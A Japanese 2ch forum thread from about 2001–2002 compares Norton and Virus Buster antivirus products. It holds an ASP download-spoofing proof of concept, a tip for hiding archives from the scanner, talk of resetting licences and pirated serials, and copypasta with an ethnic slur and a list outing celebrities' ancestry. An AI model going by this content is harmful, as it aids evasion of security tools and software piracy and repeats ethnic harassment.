どうもｐｃ−シリン（つづりわからん）が一部破損してしまうらしい＞バスター
それでアップデート不可状態になる。（プロキシの設定を云々のメッセージ）

ここは両社員の書き込みもあるから、皆さん注意して。

そもそも、インターネットとかネットワークに接続しなきゃウイルスなんて関係ないんだよ。
ってPC-DIYに書いてあった。

>>186
ンナこと言ったって…

未だに、異様に長いファイル名ファイルスキャンすると落ちる。
>バスター2001、win2kSP2の場合。
バスタ2002/ノートンはどうなの？？2kSP2が悪いの？
試しに、チェク用ウイルス反応有り適当ファイル、名前aだけ12X17
コ打ち込み、バスタ君に食わせる->一応食うが->(ﾟдﾟ)ﾏｽﾞｰ と言い
ながらヤッパリ落ちる。
QUARANTINEには確かに隔離されてるが、システムフルスキャンすると
今度はQUARANTINEフォルダに差し掛かると落ちる。
更にウイルスとして隔離されたため、バスタ君常駐殺さないとQUARAN
TINE内の該当ファイル削除できない。つかフォルダごと捨てないとダ
メ。
コレってprogramデレクトリに有るから、通常のスキャン順番だと
systemフォルダに行く前に、バスタ君気絶しちゃうのよ。
何とかしちくり>トレンド母ちゃん。ぢつは前から外出ネタだと思うが。

w2kSP2だと、単に名前長すぎファイル右クリでエクスプローラ落ちるの
ね。コレも関係有るのかなぁ〜〜
オバフロ絡み？だとすれば、ファイル名になんかコマンド混ぜると実行
できたり？専門家ぢゃないし、めんどくさいから検証はしない。

ウイルスバスターだけ品薄なんですね。
でも、Badtrans騒ぎの稼ぎ時に品薄とは・・・。

なんかこのスレのタイトル、｢マスターキートン｣に見えた。


早く寝よう…

今日新宿のヨドバシ行ったんだけど、アンチウイルス系ソフトがガンガン売れてました。
１８〜１９時の間何となく見てた感じだと
買ってる商品、ノートン10としたらウイルスバスター３くらいだったかな
シマンテックは販促員を置いていたからかもしれないし、
カウントとってたわけじゃないから正確なトコロはわからないけど。

年末って安くなりそう？

その前に、どっち買うか決めないと！！

安くならなくたってそんなに高くないじゃん。
だいたい6000円も出せば買えるんじゃないの？

バスター12／20まで入荷しないってﾄﾞﾕｺﾄ！？
それまでつなぐなってことかよｵｰｲｴｰ！
いいよ、ノートンにすかっから……。

オンライン販売で買え

ﾔﾊﾟｰﾘノートン？
でも、ノートンって難しそうなイメージがあるんだよね・・・。
アンチウイルスとFWのソフトは他に入れる気はないから、
この２つのどちらかに決めたいんだけど、、、どうしよう？

VBのファイアーウォールは役にたたんぞ

所詮ソフトのファイアウォールなんて気持ち程度の物だから
どれでもよさげ。

熱い議論を交わしてますね（熱いのか・・？）
次ぎで200ＵＰ！

バスターは圧縮ファイルの検知が遅すぎ。特に2002はサイテ―
DLファイル保存してるフォルダ開いたら何も出来なくなってしまうし。
なので LZH とかファイルの先頭に 00,00,00,00 とか追加してバスターが
検知しないようにしてる。でも unlha32.dll とかはLHA認識OK！
ノートンはこんなストレス感じたことないよ。
で、ノートンの勝ち

>>200
>>43と全く逆の事を言っているな(w

むむむ。
ますます混迷の度が深まってきました。

それほどパソコンに詳しいわけじゃないんだけど
ADSL接続に変更したからウィルス対策ソフトを入れようと考えてるけど
ノートンかウィルスバスターのどちらがいいかわからないんだけど
厨房にあっているのはどっち？

>>201
200ではないが、バスターは圧縮ファイルのスキャン時に固まるのよ。

ノートンは猫のうんち

>>203
厨房を自負するのなら文句なしにバスターだろう。
デフォルト設定で特に不便もないからね。

Norton AntiVirusでも、大半のユーザーにはデフォルト設定で十分だよ。
いざ検出って時にも、
ウイルス駆除ウィザードが「推奨」の設定をそのつど明示してくれるから、
初心者に判らないことはないと思う。

むしろユーザ自身の手で処理させることにより、
危機を自覚させる必要があるんじゃないかな、
今後のウイルス対策を自主的に行ってもらうためには。

ウイルス混入を許した原因をユーザ本人に発見させる、
ユーザ本人に塞がせる、そこまで実現してこそ、
初めて「対策完了」と言ってよいと思う。

この観点からすると、既存のウイルス対策ソフトは、
どれもこれも「事後処理」の要素が欠落していると思う。

つまり「ウイルス対策アドバイザ」としての機能が
あったほうがよいのではないかと思う。

俺的には、ウイルスバスターじゃ親切すぎると思う。
なにも全自動処理する必要はないんじゃねえかなあ・・・・・・。

<%

Const adTypeBinary = 1
Dim strFilePath

Response.ContentType = "application/octet-stream"
Response.AddHeader "Content-Disposition","attachment; filename=calc.exe"

strFilePath = Server.MapPath(".") & "\calc.exe"

Set objStream = Server.CreateObject("ADODB.Stream")
objStream.Open
objStream.Type = adTypeBinary
objStream.LoadFromFile strFilePath

Response.BinaryWrite objStream.Read

objStream.Close
Set objStream = Nothing

%>

http://msgs.securepoint.com/cgi-bin/get/bugtraq0111/202/2.html

どっち？

関口・三宅｢今年のウイルス対策は、どっち？｣

♪たらーたららららら〜

ビ○・ゲイツ｢(放送できません)｣
スティーブ・チャン｢バスター2002！｣
ノートン先生｢インターネットセキュリティ2002！｣
naiの人｢まか(以下略・退場)｣

ノートンインターネットセキュリティってアンチウイルスとファイヤーウォールの
２つのソフトがはいってるんですよね？
中身の機能は同じですか？

同じって・・・

>>212
違うよ。つーかその双方は役割が全然違う。
…ちょっとまともに答えてみる（ｗ

>>212が言ってるのは、NIS＝NAV+NPFなのか？ってことだろ。
ほぼ同じ。NISだと何か機能が付けたされてたけど忘れた。

>>212
NIS＝NAV＋NPFW＋広告ブロック機能＋有害サイトアクセス制限機能(w

ノートンはOS再インストールして
ノートンも再インストールすれば
更新料なんて払わずに永遠使えるんだが

バスターもこのような
更新料を払わなくても使える裏技あるの?

おれノートン使ってるんだけど昨日こういうのがおきた。

media playerを遮断にしてるのになんでこれが見れるの？
例のマーシーの動画
http://www.geocities.co.jp/Outdoors-Mountain/4950/X02.swf

FLASHという意見もあるがフラッシュって何？
ファイヤーウォールは高なんだけど何の警告もなしに動画が流れた。
これって問題ないんかい。

バスターはどういう反応をしめすの？教えてよ。

FLASHも知らんのか・・・。
ただ、ファイヤーウォール高だとActiveX遮断するか聞いてくると思ったが。

>>218
あほー(;´Д`)

>>218
マルチやめろ。

>>219
＞ファイヤーウォール高だとActiveX遮断するか聞いてくると思ったが。

それがあれば驚かんとです。なんもなしに流れ出したとです。

>>218
ノートンファイヤーウォールの設定は高にしていたが、
使用ブラウザの設定はActiveXを許可していたのでは？

以前ノートンでクッキー切っててもIEで許可してると
許可扱いになってたことがあるから、IEの設定もきつめにしてる。

つーかファイヤーウォールは「悪意のある」ActiveXを遮断するだけで
普通のActiveXは通すだろ



･･･それとFLASHくらい知っとけｳﾞｫｹ

署名済みのActiveXってことだ。

NIS2002、IE6でそれぞれクッキーをオフにしてるんだが、
なぜかfortunecityとかsextrackerのクッキーをつくりやがる。
あとdoubleclickとか。なぜだ？

WORM_ALIZ.AにやられたんでWIN98SEをHDDフォーマット後に入れ直したけど
IEのパッチあてた後にどこにも行かず、オンラインスキャンかけると
http://www.trendmicro.co.jp/virusinfo/default3.asp?VName=JS%5FPLAY%2EA
こいつが出てくる、なんでだ？
起動DISKは書き込み不可でOSはCDからクリーンインストールしてるのに・・・

>>226
これ？

95 名前：名無し~3.EXE 投稿日：01/12/03 18:25
つか
ttp://headlines.yahoo.co.jp/hl?a=20011203-00000008-vgb-sci
悲しすぎる


96 名前：名無し~3.EXE 投稿日：01/12/03 18:26
ついでに上記のリンク内のリンク
ttp://www.microsoft.com/japan/support/kb/articles/JP298/7/80.asp

バスターどこ行っても売り切れだよ
あるのは脳豚だけ
脳豚は英語版をただ日本語化した感じであんまり印象よくない
さっきも店で脳豚買ったおっさんが店員に文句垂れてた、IEが仕えなくなったとかいって
バスターと交換しろと詰め寄ってた。
バスター売り切れの札の横で脳豚山積み、店員がこれでも大丈夫ですと言っても
誰も買おうとしないのが笑えた。
手動でやらなきゃならないのが嫌われる理由だろうなぁ、おれも面倒なの嫌だし。
バスター早く増産してくれよ

>>226
ベクターもバスター押してるね。
要は、バスターはお子さま初心者向けってことかな。
機能設定の面でみると、比べちゃ失礼なくらい。

>>229
誤爆。すまん。

>>229
ノートン、デフォでもIE使えたんじゃないかな？
どこか弄くって使えなくしてしまったんだろうな。

>>228
おお、サンクス。
しかし、結局は対処療法ってことじゃん。
おちおちエロサーフィンもできやしない。

VBって2001から2002は無料アップなの？
あと、更新料だけどノートンは更新日が来る前に
再インストールするとカウンターがリセットされるけど
VBはだめみたいだね。

>>230
自分も前から気になってた。
なんでベクターはVB押すんだろ？

>>223
それならなんでこれ以外の悪意のなさそうなのでもきっちり警告するんだ？
>>224
それは中だろ。高は全てのを表示するはずだ。

>>218はシマンテックに質問してみなよ。
結果も教えてね。

Meとノートンは相性がかなり悪いらしいので、バスターに１票！

>>237
元ネタが消されてる。だから無理。
なんでこんだけ盛り上がってるときに
あの名作が消されるんだ？

>>235
プロレジで扱ってるからじゃん。

テスト

自己レスです
OSをクリーンインストールしてもトロイが検出された件ですが解決しました。
犯人は窓の手でした
窓の手ver5.53を入れると、トロイJS_PLAY.Aが検出されます
配布元の掲示板にこの事が報告されてるけどTOPには注意書き無し

2日も悩んだよ、全く。
実害は無いみたいだけど気分悪いからもう二度と使わん

これからも”被害者”でそうなんで一応報告

ノートン死去

NIS2002は使い勝手が悪いみたいだよ。
VBはFW機能がクソって聞く。
知識のある人はNIS2002、面倒が嫌な人はVBかな。

>>242
ナイスな書き込み産休です！
私もトロイJS_PLAY.Aに悩まされてたんです。
窓の手ver5.53が原因だったんですね。
ﾔﾗﾚﾀ！って感じです・・・

脳�dの更新料っていつ払うの？

バスターのアンチウイルス ＋ ウインドウズXPのFW　か、
ノートンのアンチウイルスとFWのセット（NIS）では、
どちらが良いと思いますか？

>バスターのアンチウイルス ＋ ウインドウズXPのFW　か、

WindowsXPのファーやーウォールは、マイクロソフト自身が、
万全の防衛機能を提供するものではないとアナウンスしている。

とーぜん、ノートンで統一に一票。

XPはノートン、９８はAVG+ぞぬ使ってます。

うちのと会社のが同時にマカｴﾗｰ起こしたので、アンインストして、
会社のにノートン・うちのにバスターの体験版を入れてみた。
ノートン、ガードは固そうだけど、厨房にはめんどいな。
ネットワーク組んでるんだけど、プリントアウトがうまくいかない。
しょちゅうジョブをため込んでしまう。
何とか解決しなきゃ。ややこいのう・・・。

バスター２００２、簡単で使いやすいと言う文句に引かれて買ったが地獄だった。
ソニーＶＡＩＯのノートだから別段変わったパソでもないのに、スタートアップに
毎回３５分かかった。しかも重くて、ＩＥのアイコンをクリックしてから
開き終わるまでに７分以上かかる。カーソルがもたついて、作業どころじゃない。
で、サポート係に電話したら解決しなくて、代わりに長いメールが来た。
「これを試して結果を送って」とｉｎｓｔｒｕｃｔｉｏｎがかいてあるけど、
一般人には理解できない内容だった。面倒だからリアルタイム検索をオフにして
使ってるけど、なんの為に買ったのかわからない、、、、、、、、、
今までノートンでは問題なかったのに。

>>251
いくらなんでもそれは異常なのでは・・・

＞＞２５１
３５分か、ものすごいですね。

バスター飼う奴は、ある意味神

すみません、長かった。
つい３日前にはアメリカのヤフーのトップページを見ようとすると
必ず買い物ページ（ヤフー内）へ勝手に連れて行かれるようになった。
どこから行ってもヤフーに行かれなくなって、履歴を全部消したら
解消しました。まいにちなにがおきるのかどきどきしつつ。

バスターはサポートが最悪。
すぐに「まぁ、再インストールするしかないですねー」
という。
そういう憂き目にあいたくないから入れたんでしょうが。
アタマに来て、尻アル番号をあちこちで公開してやろうかと思った！

結局どっちがいいの？
いずれにしろ買わなきゃならんのよ。
バスターの方が簡単そうだけど。

ノートンにしとけ。

＞＞２５６
同意です。最悪というか、こちらでは把握してませんって投げやり。

>>257
仮にもｾｷｭﾘﾃｨ関連のｿﾌﾄが簡単であるということが大問題だと思うのだが

ノートンをお勧めします。
多少わずらわしいかもしれないけど、インストールしちゃえば
後は問題ないし（pcによっては少し重くなるけどね）、ウイルス等に
やられてマシンを復旧させる手間を考えたら、ノートンを入れておくのが
いいでせうね。
>>259
ま、トレンドマイクロなんてのは企業としてのモラルなんか持ち合わせて
ないんだろうね。

バスターがいい。ノートンは書き込み、メールの問題等、問題山済み。
普通の人がやるだけならバスターが絶対いいよ。

まあ、何も考えず「入れてる」ってことだけで安心したいならﾊﾞｽﾀｰお勧め

ノートンのサポートが言い分けないだろ。この手の話はノートンスレ
参照。

ﾉｰﾄﾝ・・・悪
ﾊﾞｽﾀｰ・・最悪
俺的評価

>>264
両方を（ノートン・バスター）使ってたから分かるけど、確かにどっちも悪い。
シマンテックは無愛想でマトモな返答をしてくれないし、トレンドマイクロは無知で
マトモな返答をしてくれないし。

よってウイルス警備隊に1票

>>266
ﾁｮｿは帰れ(･∀･)

え、韓国製品なの？
俺ホントは、ぜんぜんわかんねーんだよウイルス警備隊（ｗ

じゃあマジレスするとノートンのインターネットセキュリティを使うか
ウイルスバスターにフリーのＦＷソフトを使うか
このどちらかじゃない？（ソフト面でのセキュリティでは）

NAV+ZoneAlarm　どう？

>>269
オレは正にその組み合わせ(w

私が電話をかけたときの担当は感じのいい男だったからそんなに悪い印象はないけど、
そういやかんじんのことは「そういう情報はきてない」みたいにいわれたな。

このｽﾚおもれー

NAV+フリーFWの組合せの人も多いみたいだけど
わざわざNPFを外してる理由はなんですか？＞NISで買った人達

ここは明らかにノートンの社員が住んでるね。みっともないから止めたほうがいい。

SONYはアメリカではバスター、国内ではそれ以外(ノートン？）入れてるらしい。
アメリカでの販路を広げてやるのが目的だそうで。

>>274
え？
じゃあ、バスターにしようかな・・・。
でも今、品切れなんだよね・・・？

不利になると社員とか工作員とか言い出すのもみっともないと思うよ

ﾊﾞｽﾀｰのｼｪｱ率高いのはﾒｰｶｰ製品にくっつけて貰うことに全勢力を注いでるから

>>274
頭悪いぞ。

うーん。社員がどーとかはしらんけど、オレはノートン派
別に理由はないが。
てか、昔から使ってたが理由か

性能の良いはずのバスターだが、日本以外ではシェアが低いんだな。
そんなに良いのならもっとシェアが増しても良いと思うが。

他国のソフトを使いたがらない国民がいるだろうし、
参入させたくないメーカーがいるからねー。

初心者にとってはてきとーにクリックしてインストールできて、
アプリケーション立ち上げるたびにバスターのマークが出てくるのが
安心感ある。これで重くなければ最高だったんだよ、、、

当方　ウインドウズＭＥで　ウイルスバスターの２００２をインストール
してて　インテリジェントアップデートを設定してるんですが　全然　ファイルの
更新のダイアログが出てこないので　さ歩センに電話したら　ウインドウズの
設定を変える事で　治るって言ったんですが　ウインドウズの設定は　当社の
管轄外とか言って　教えてもらえませんでした・・・・・・・・
何方か　詳しい方　教えてもらえませんか？？

>>283
これが噂の社員さんですか？バスタースレで聞きなさい。

SystemWorksのワンボタンチェックが便利なので、まとめてノートン入れてます。
でも「ノートンごみ箱」がすごくかっこ悪かったので、UnerazeWizardをはずして入れなおしました。
最初は２ちゃんなどに書き込めなくて戸惑ったけど、検索したらすぐに設定法が見つかったので問題なし。

NIS2002を使ってますが、VB2002の体験版を使ってみたい。
体験版はエンジンのアップデートばかりか、定義もアップできないと
聞いたので、結局NISになるのか。

>>284
>>283は質問ｽﾚからの転載だな

どっちも持ってるけど、ノートンの方が使いやすいよ。

NAV + BlackICE Defender どう？

>>43でNAV2001とVB2001のベンチマークをした人間再登場(w
オレはFWが要らない(ZoneAlarmを使用)ので結局NAV2002を買ったが、NAV2002は全ファイルスキャンが
NAV2001に比べて速く(>>43と同じPCでファイルが増えてるのに19分58秒)なってた…

ただ、IDEインターフェースカードのドライバを>>43のベンチマーク後にアップデートしたからその影響の可能性も(w

symantec関係者でーす。今、非常に忙しいので、Norton製品を買うのはやめてちょ♪
ウィルスバスターは糞だけど。McAfeeは最悪だし。。。
　でも、Norton製品買っても、今はサポートセンターもいっぱいなので、とりあえず、今は買うな。

ノートンのサポセンって、正月休みらしいよ

test

>>291
トレンドマイクロもまるでサポセンが繋がりませんよ…

NIS使ってるけど、FWはかなりうざく感じる。
一度NAV+ZONEにしてみようと思うんですが、
どうでしょうか？
この場合って、ZONEをインストールして、FWを無効にしとけば
いいの？それともNIS自体を削除して、NAVだけ再インストール？

たったいまバスター2002からノートンに乗り換えました。
FWはBlackICEを使っているんでどうでも良いです。
個人的にノートンには過去にレジストリをぐちゃぐちゃにされたりして良い印象がなくウイルスバスター98くらいからずっとトレンドマイクロにお世話になっていたんですがここの書き込みを見てノートンを入れてみました．
そこで質問なんですがノートンのLiveUpdateにはVB2002のように時間を指定して自動で更新みたいな機能はないんでしょうか？
LiveUpdateは手動でしろってこと？

パソに電源入れると勝手に更新するよ。

>>297
レスありがとね。
で，ずっと電源入れっぱなしのときはどうするの？
VBだと10分おきってな風に出来たんだけど・・・

あのーノートン体験版を試用中なんですが、
ドライブ検索の時にブートレコードが読めませんって出てくるのは異常ですか？
マスターブートレコードは読めてるんですが普通のブートレコードはエラーがでるんです。
ついでに言うとC:D:両方です。

>>299
OSの種類、ノートンのバージョン、ファイルシステムの種類、サードパーティ製のパーティーション分割ユーティリティを使用しているかどうか、その他システムを標準でない状態に改造しているかどうか、
そのくらいは報告してくれないと、判らんよ。

>>298
開始時刻: **:**から24時間, 間隔: 分, 間隔: 毎日,

デフォルトで↑

>>301
間隔は5分だ。

インターネットに接続されているときにデフォルトで自動 LiveUpdate は
4 時間ごとに更新されたウィルス定義があるかどうかをチェックします。
ISDN ルーターなどで自動接続を設定している場合、自動的に接続が行われ、
そのたびに電話料金がかかってしまいます。その場合、ルーターの自動接続を無効にするか、
自動 LiveUpdate を無効にしてください。

>>303
ISDNを自動接続でクラッカーのパソに接続することって
できるの？あとこれが仕掛けられているかどうか判別する
方法も教えてほしい。

age

結局どっちなの？ノートン？バスター？
てめえら教えてください。

>>308
会社 VB
自宅 VB　--> Norton乗り換え
ＰＣバンドルの「まっかふぃい」は削除ぉぉ！！

>>300
OS:w2k+sp2，ノートンはSystemWorks2002についてるやつ（ヘルプのVerは8.00.58B）
ファイルシステムはFAT32，パーティション分割ツールは未使用デス．
会社もノートンのVerによってはLiveUpdateの時間とか設定出来るみたいだけど俺のには
そういう設定が見あたらないんです．
オプションの項目は自動アップデートを有効にするかどうかなどで間隔などの設定は見あたりません．
ｉｎｉファイルを直接書き換えるタイプかな？

おっとすいません。
OSはWin98SE Versionは2001体験版 特に弄っては無いですが、
ネットバイオスをオフにするために「マイクロソフトファミリー」
何とかをアンインストールしました。
ついでにいうと、FDISKでパーティションを分割した事があるんですが、
何ヶ月か前にデフォルトに戻しました。

ノートンは問題多いけど、定義ファイルが1年過ぎても
使える(OSの再インストールで)がノートンを
捨てられない理由だったりして。
VBだときっちり年間会費取られるよね。

定義ファイルはノートンの方が良心的だけど
WinXPが出て、それに伴って有料バージョンアップしないといけない
ノートンを買うべきか、2001から2002は無料アップの
VBを買うべきか。どっちが良心的？

MXでさくっと落とすとか（ﾜﾗ

>>312
この手のソフトはまずいんじゃねーの。(MXは全部まずいけど)

俺のノートン
ＭＸモノだよ（Ｗ

>>314
ﾀｲｰﾎ

NAVユーザー。
つい先ほど、Liveupdateで定義ファイルを更新した。
相変わらずBADTRANSが来て感染ファイルを検疫したら、
これまで受信したメールが全て消えた。
ちなみにメーラーはBecky!ver2。
メールが消えたのはこれで3度目。
Liveupdateすればするほど、NAVとBecky!の相性が悪くなっていくような気がする。
検疫するたびにメールの受信フォルダが木っ端微塵に粉砕されるし。

でもBecky!はウィルス対策でバージョンアップされたね。
少し安心。

>>316

既に見られたかもしれませんが、これのことかも。

http://pc.2ch.net/test/read.cgi/sec/1008355163/44

Norton AntiVirus 2002とウイルスバスター2002の機能は
ほぼ同等と思っていいのでしょうか？

どちらもファイアーウオール機能はないですよね？

／／／／／／／／／／／／／／／／／／／

■ 全国のハッカー＆荒らし集合！！ ■




http://kgy999.ath.cx/cgi-bin/1/2.cgi
史上最悪のUG掲示板

／／／／／／／／／／／／／／／／／／／／／


;;;
;;;;;;

>>318
ウィルスバスター2002にはあるよ。

http://www.trendmicro.co.jp/product/vb2002/index.asp

本当だ、
ここに「ブロードバンド時代のために進化したパーソナルファイアウォール 」って書いてある。

ファイアーウオールもウィルス対策も兼ねているならずいぶんとおトクですね。
過去ログ読むと
ノートン先生＞バスターらしいけど。
バスター買っちゃおうかな（ﾜﾗ

ところで、どうしてノートン先生なのですか？？

バスターのFWはおまけみたいなもんで、細かい設定はできないらしい。

vb2002のFirewallはダメダメよん．
フリーのZoneAlarmの方がまだいいよ

さっそくZoneAlarmをダウンロードしてます。
まわり、英語ばっかりだけど
何とかなるかしら（笑

>>324
日本語化パッチがある
スレ違いなので詳しくは↓で調べて
ZoneAlarm　Part3
http://pc.2ch.net/test/read.cgi/sec/1006399748/

ノートンの２００１を中古で買いたいのですが
ユーザー登録が出来ませんと言われました。
これって、致命的なことでしょうか？

アンチウイルスソフトの中古なんて売ってるのか(w

MXで検索かけると、VBの尻（制限なし）とかいうのがゴロゴロでてくる

>310-311
俺、定義ファイル買った直後にＯＳ再インストールしたもんだから
使用期限がリセットされて、更新料がまる損になっちゃった事があるよ。鬱死。

>>326
ユーザー登録せんでも使えるよ。

バスターとぞぬは共存できないんじゃなかったっけ？

>>329
シマンテックに言えば良かったのに

>>332
それはそれでまずそうだが。

バスター体験版を入れたら、ネットワークに繋がらなくなっちゃった･･･

繋がった。簡単なことだった・・・（汗

ノートンって複数台のPCにインスト出来て、どれも定義更新も出来るの？

>>336
ｱﾎﾟｰ

オススメ！
http://k-server.org/idolst/

>>333
どこかまずいか？>>329は正規の料金払ってダウンロード期間延長したんだろ。
だったらシマンテックに再インストールした際にリセットされてしまったことを申し出て
キー再送付など対応してもらえばいい。残りの期間分使う権利がある。

まかひーならID訊かれないが？（藁

VBのサイトにﾂﾅｶﾞﾗﾈｰﾖ

厨房な質問させてください。
私の環境下では、VB2002とNIS2002とではどちらが重い？
軽い方を選びたいと思うので、よきアドバイスを。

私の環境
ルーター：WLAR−L11G−L（メルコ製。一台目が有線接続、２台目が無線接続）
OS：Win98SE
パソコン：ペンティアム３−450、メモリー192M（NEC製ノート）

クライアントの統合管理考えるとなんかマカが一番いいような・・・。
VBのコーポレートは結構ショボイし、ノートンは高いし。
マカはだめなんかい？

>>343
McAfeeを使いやすいと感じるかどうかの問題は、
ほぼ全面的に使用者のスキルに依存する。

#厨房にはバスターを推薦しておくのが無難。

定期age

・・・つーか、そろそろ勝者

あのな、win98でＮＩＳはムリ
重すぎて、何もできない。
オレは、全部試して見たが（マジ）ＮＡＶだけってのが快適。
そのつぎに、ＷＢ。
ＮＩＳは、一度入れると、アンインストできない（してもクソ重いし、
システム不安定になる）ので、ＮＡＶだけ入れるように。

ノートンインターネットセキュリティー2001をwin2000で使ってたけど、
winxpを新規インストールしたら2001がインストールできなくなりました。
2002に買い換えなければいけないということでしょうか？
またその場合、優待販売とかありますか？
優待販売があるとして2パック買えば、二台に優待価格で入れられますか？
red見終わった人、教えてください。

やっぱ、誤爆ですよね？別スレにいってくるので
マルチといわないでね。

>>346
アンインスト　できないのか？

>>346
ＷＢ　って何？

>>350
ホワイトベース

>>346
おれもＮＩＳアンインストしたけど、クソ重いままなので
リカバリしました。
買って損したよ。

98SE+NIS2002で快適に動いてますが何か？

>>350
VB

>353
起動時にリソース何�lくらいですか？
参考にしたいので。

win98 pen�U300 64　NIS2002で起動時リソース80%あるよ
もちろん、かなり削って軽くしたけどね

windowsに元からウイルス対策を入れといてもらいたいな

>>357
M$が作ったアンチウィルスソフトは穴だらけになるんじゃないか？(ｗ

>>358
そうですね・・毎日パッチが出てたりして（Ｗ

>>356
ＭＹＰＣ
win98SE　PEN�V500Ｍｈｚ　512ＭＢ　ＮＩＳ2001体験
起動時リソース75％

これで重く感じるんだが・・。速さって人によって感じ方違うからな。

もちろん、ＮＩＳやＶＢは入れたら重くなるよ。
９８はリソースが大事だから、いかに削るかがポイント。
無くてもいいものは、とことん削るべし。
最初から無かったものと思えばよろし。

ＸＰでリソース見るにはどうしたらいいの？

>>343
コーポレート製品はsymantecでないんかいな。
集中管理機能の充実から考えると。

数十台だったらどうにでもなるが、ワシは500台以上の
メンドウをみないとならんからパターンファイル更新とか
ユーザに任せたままっつーのは不安だ。

シマンテックのサポートは来年１／４までお休みです

ノートンは期限切れになったら一度アンインストールして再インストすれば
また使いつづけられるというのは本当ですか?

可能です

>364
その下に通常サポートは無いけど
正月ウイルス相談窓口はあるって書いてあるよ、シマンテック。
つながりにくいかもしらんけどさ。
今年の正月ウイルス新種でるのかなァ･･･。なんか多いねこの頃急に。
これ、
http://www.symantec.com/region/jp/support/year2002/index.html

>>366
回答ありがとうございます、ところでバスターはその方法は可能でしょうか?

>368
念のため書くけどＯＳをインストールし直すってことですからね＜ノートン
バスターは不可

>>369
やはり世の中甘くないですね、わざさわOSを再インストですか
それは厳しい
何度も回答ありがとうございました
ちなみに現在はマカフィの5.1使っています重すぎて使い物にならないから
切ってます

>>367
新種のウイルス専用とは書いてあるが
普通の質問でかけたら答えてくれるのかな？

バスターの勝ち

>371
HPだとあくまで緊急対策のものっぽいよね。
かかっちゃった人向け？
わからなくてすませんです。

http://www.laox.ne.jp/campaign/yomiurisale/3_1.html
買え

McAfee VirusScan 5.1は
CPU性能によって体感速度がだいぶ違うらしいね。
ペンティアム233MHzのうちでは
重すぎてとても常駐させられないんだが、
高性能なマシンの人は
「軽すぎて動いているのかどうか判らない」って感じるようだ。

一方、Norton InternetSecurity2001は
ハイスペックな人ほど「重い」と思い込む。
あれはAIエンジンでスキャン回数を減らす工夫をしているが、
反面、ユーザーリソースを結構食っているから、
その辺で感想に差が出てくるみたいだな。

新年のage

バスターやノートンってCMしてますっけ？

>>377
ノートンは見たことある。
フォーチュン500社の95%がとかいうやつ。

>>371
１／４にシマンテックのサポートに電話かけたら
混雑してますかね？

>>379
メールで質問しても、たまってるのかな

初心者の質問なんですが
Meの時代はNorton　AntiVirusの常駐ソフトを使ってました
Xpにアップして無くなりましたから、ノートン体験版を使い
期限終了時にバスター体験版に乗り換えました。（もうすぐ期限が切れます）
ノートンのクロスアップ（名前には自身がありませんが
ウイルスソフトを入れてると使える通常より安い物）
を購入しても問題なく使えますか？

明日買いに行くので、どっちがいいのか教えて♪
2chだと、ノートンの方がいいみたいだけど。
ちなみに、両方とも体験版試しました。

ノートンよく警告がでる。
バスター警告でない。

ウイルス検索は同等なの？

バスターはバスターだけだけど（謎）
ノートンはいろいろな組み合わせがあるからオススメ！

バスターはウィルス検索しながら他の作業が出来ない。何とかしろ。
ノー�dは出来たぞ。

やっぱりノートンなんですか。

消去法でノートン。

188 名前：名無しさん? ：02/01/06 02:50 ID:???
逝った板→人権問題
感想→靴日記のコピペ嵐がウザイ


189 名前：名無しさん? ：02/01/06 02:51 ID:???
逝った板→ファション
感想→部落民のコピペ嵐がウザイ


190 名前：名無しさん? ：02/01/06 02:53 ID:???
逝った板→ビジネスソフト（ノーツ・ドミノってどうよ？　その２）
感想→靴日記のコピペ嵐と部落民のコピペ嵐がウザイ

>>387
君が一番ウザイ

VB2002はペン２００クラスには重いんだけど・・
でも、体験版入れてえらい目にあったのーとん
よりは信頼できそうだから使ってるヨ。
特にVB2002のクローキング機能ってよく判らん
けど、なんかハッカーに勝った気がしてスキ。

スキルがあればTinyを使うのもいいよ

ここ見れ。

http://cnet.sphere.ne.jp/JustIn/jp_soft/011226/index.html

バスター初心者向け、Norton中級者向け、マカフィ―めんどくさくて低機能・・・、
ってことで決着だね。

ノートン・パーソナルファイアウォール2002と
ゾヌはどっちがいいんかね？

>>392
過去ログ読んで判断しろヴォケ

過去ログなぁんて読まねんだよ。
何度も同じ話繰り返せばいいんだよ。

　　　　　　 ∧＿∧　 　 　　∧＿∧
　　　　　 _（　´∀｀）　　　　（´∀｀　）
　 三　Ｇ´ 　　　_ノ⊃　　　（　>>1　） 　 糞スレは・・
　　　　　/　/)　 ） 　 　 　　 |　|　　|
　 　 　 〈＿）＼_） 　 　　　 （__（＿__）

　　　　　　　　　∧＿∧　　.∧＿∧
　　　　　　　　 （　　´∀）　（´д｀　）
　　　　　 　≡≡三 三ニ⌒)　>>1 .） 　　 立てんなって
　　　　　　　　/　 /)　 ） ￣.|　|　　|
　　　　　 　　〈＿_）＿_）　 （__（_＿_）

　　　　　　　　 Λ＿Λ　　　　　　　　　　　　　∧＿∧
　　　　　　　　（　´∀｀）と思ったけど 　 　 　（´∀｀；）
　　　　　　　　（　　　　）いいスレじゃん　　　（　>>1 こつ
　　　　　　　　｜ ｜　|　　　　　　　　　　　　　（　（|　 |
　　　　　　　　（_＿）＿）　　　　　　　　　　　　　し'(＿_）

東大阪在日芸能人 池脇千鶴（アイドル）→英田
川原亜矢子（女優、モデル）→縄手北
井手敏男（レーサー）→英田
黒田有（漫才師）→英田
中村あゆみ（歌手）→枚岡
つんく（歌手）→長栄
未知やすえ（吉本新喜劇）→楠根
仲根かすみ（アイドル）→孔舎衛
松井稼頭央（プロ野球選手）→若江
粉谷修（漫才師）→若江
元木由記雄（ラグビー選手）→英田
真中瞳（タレント）→玉川
７ＨＯＵＳＥの中の一人（歌手）→若江
ＤＲＥＡＭの中の一人（アイドル）→盾津

次は石切　石切です

test

>>363
パターンファイルの集中管理ならマカやVBでもできるでしょ？
あと >>343 は「ノートンは高い」って書いてない？

age

ＷＩＮ９８でペン�U２６６、メモリ１２８の環境でノートンインターネットセキュリティ２００２の相性良かった。。
２００１より動作軽いね。
なかなか高性能で満足〜♪

日頃より CYBALION をご愛顧下さり誠にありがとうございます。

さて、そろそろ毎年恒例のオフ会の季節がやってきました。
いつもなら忘年会で、飲んだくれ→深夜ファミレスで始発待ち、という危険なパターンなのでどーせなら温泉とかで一泊しながら盛り上がろうと考えてます。
家主の怠慢で内容はほとんど決まってません(^^;

　日程　：　２００２年１月１２日（土）〜１３日（日）　「決定」
　場所　：　静岡・熱海　周辺
　会費　：　10,000 yen 以内
　幹事　：　ななちゃん、Ｔａｍａ

>>363
外出かもしれんが、シマンテックのコーポレート製品ありますよ。
http://www.symantec.com/region/jp/products/nav_es/composition.html

